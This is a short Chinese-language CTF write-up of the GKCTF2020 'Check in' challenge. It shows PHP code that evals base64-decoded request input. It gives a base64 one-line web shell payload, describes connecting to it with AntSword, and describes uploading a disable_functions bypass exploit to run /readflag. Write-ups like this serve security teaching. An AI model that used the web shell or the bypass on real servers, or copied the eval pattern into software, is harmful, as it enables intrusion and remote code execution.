打开网站,发现是这样的源码
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
题目代码给出来,第一感觉是要序列化,但是不存在反序列化函数
WP写的很简单,Ginkgo可以传参,之后参数会保存在当前页面中,传参一句话,使用连接工具连接
查看PHP配置信息:
需要将'phpinfo();'用base64加密成 'cGhwaW5mbygpOw==',再传参
发现把一些php函数给禁用了
于是打开蚁剑,使用下面的payload
eval($_POST[1]);
ZXZhbCgkX1BPU1RbMV0pOw==
后台看了一遍'/'目录下有flag相关的文件,但是没有权限
大概可以看出来得获取权限运行readflag获取flag吧
WP解释说是PHP里面禁用了相关函数,所以我们需要绕过的exp,上传至服务器目录,并执行
使用bypass脚本提权
文件里面pwn函数后面()中是要放执行的命令,我们改为执行'/readflag'
之后上传至服务器,这里我们无法直接用Ginkgo来读取exp使其执行
需要之前的一句话,配合hackbar来执行文件包含,最后读取flag并显示
参考资料
GKCTF2020 - Check in
https://github.com/mm0r1/exploits
CTF中的命令执行绕过
GKCTF2020 - Check in 使用python脚本